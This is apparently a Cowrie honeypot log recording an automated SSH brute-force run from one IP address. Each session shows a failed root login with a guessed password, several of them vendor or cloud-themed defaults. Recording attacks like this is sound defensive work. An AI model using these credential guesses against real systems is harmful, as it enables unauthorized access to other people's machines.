{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:29.493597Z","src_ip":"60.165.124.241","session":"06e478333eba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0penBmc","message":"login attempt [root/0penBmc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:30.247474Z","src_ip":"60.165.124.241","session":"06e478333eba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:31.489208Z","src_ip":"60.165.124.241","session":"06e478333eba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57552,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e6bfdcebcb4","protocol":"ssh","message":"New connection: 60.165.124.241:57552 (10.17.0.5:22) [session: 2e6bfdcebcb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:31.724854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:31.734213Z","src_ip":"60.165.124.241","session":"2e6bfdcebcb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:31.975742Z","src_ip":"60.165.124.241","session":"2e6bfdcebcb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ASD.ho3321796","message":"login attempt [root/ASD.ho3321796] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:32.703740Z","src_ip":"60.165.124.241","session":"2e6bfdcebcb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:33.946396Z","src_ip":"60.165.124.241","session":"2e6bfdcebcb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60380,"dst_ip":"10.17.0.5","dst_port":22,"session":"a324ce545548","protocol":"ssh","message":"New connection: 60.165.124.241:60380 (10.17.0.5:22) [session: a324ce545548]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:34.219607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:34.223959Z","src_ip":"60.165.124.241","session":"a324ce545548","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:34.481008Z","src_ip":"60.165.124.241","session":"a324ce545548","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"#qlalf#wiseit#qjsgh#","message":"login attempt [root/#qlalf#wiseit#qjsgh#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:35.561322Z","src_ip":"60.165.124.241","session":"a324ce545548","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:36.822045Z","src_ip":"60.165.124.241","session":"a324ce545548","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35994,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd965459d5c9","protocol":"ssh","message":"New connection: 60.165.124.241:35994 (10.17.0.5:22) [session: bd965459d5c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:37.038473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:37.043534Z","src_ip":"60.165.124.241","session":"bd965459d5c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:37.285550Z","src_ip":"60.165.124.241","session":"bd965459d5c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1912","message":"login attempt [root/1912] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:38.014347Z","src_ip":"60.165.124.241","session":"bd965459d5c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:39.255924Z","src_ip":"60.165.124.241","session":"bd965459d5c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39020,"dst_ip":"10.17.0.5","dst_port":22,"session":"54817893b48e","protocol":"ssh","message":"New connection: 60.165.124.241:39020 (10.17.0.5:22) [session: 54817893b48e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:39.490516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:39.495874Z","src_ip":"60.165.124.241","session":"54817893b48e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:39.735083Z","src_ip":"60.165.124.241","session":"54817893b48e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jancok123","message":"login attempt [root/jancok123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:40.467540Z","src_ip":"60.165.124.241","session":"54817893b48e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:41.709282Z","src_ip":"60.165.124.241","session":"54817893b48e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41852,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d88cf379bb3","protocol":"ssh","message":"New connection: 60.165.124.241:41852 (10.17.0.5:22) [session: 8d88cf379bb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:41.943097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:41.948593Z","src_ip":"60.165.124.241","session":"8d88cf379bb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:42.195437Z","src_ip":"60.165.124.241","session":"8d88cf379bb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"liu123456","message":"login attempt [root/liu123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:42.921718Z","src_ip":"60.165.124.241","session":"8d88cf379bb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:44.162875Z","src_ip":"60.165.124.241","session":"8d88cf379bb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45078,"dst_ip":"10.17.0.5","dst_port":22,"session":"63ed5db774b8","protocol":"ssh","message":"New connection: 60.165.124.241:45078 (10.17.0.5:22) [session: 63ed5db774b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:44.399926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:44.404896Z","src_ip":"60.165.124.241","session":"63ed5db774b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:44.645666Z","src_ip":"60.165.124.241","session":"63ed5db774b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123!!","message":"login attempt [root/Admin123!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:45.371031Z","src_ip":"60.165.124.241","session":"63ed5db774b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:46.613125Z","src_ip":"60.165.124.241","session":"63ed5db774b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":47966,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3a3e91fd996","protocol":"ssh","message":"New connection: 60.165.124.241:47966 (10.17.0.5:22) [session: d3a3e91fd996]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:46.839969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:46.844992Z","src_ip":"60.165.124.241","session":"d3a3e91fd996","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:47.094080Z","src_ip":"60.165.124.241","session":"d3a3e91fd996","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei#123","message":"login attempt [root/Huawei#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:47.805448Z","src_ip":"60.165.124.241","session":"d3a3e91fd996","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:49.058226Z","src_ip":"60.165.124.241","session":"d3a3e91fd996","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51160,"dst_ip":"10.17.0.5","dst_port":22,"session":"d368629d573a","protocol":"ssh","message":"New connection: 60.165.124.241:51160 (10.17.0.5:22) [session: d368629d573a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:49.293106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:49.297961Z","src_ip":"60.165.124.241","session":"d368629d573a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:49.533275Z","src_ip":"60.165.124.241","session":"d368629d573a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aliyun@2025","message":"login attempt [root/Aliyun@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:59:50.270700Z","src_ip":"60.165.124.241","session":"d368629d573a","protocol":"ssh"}
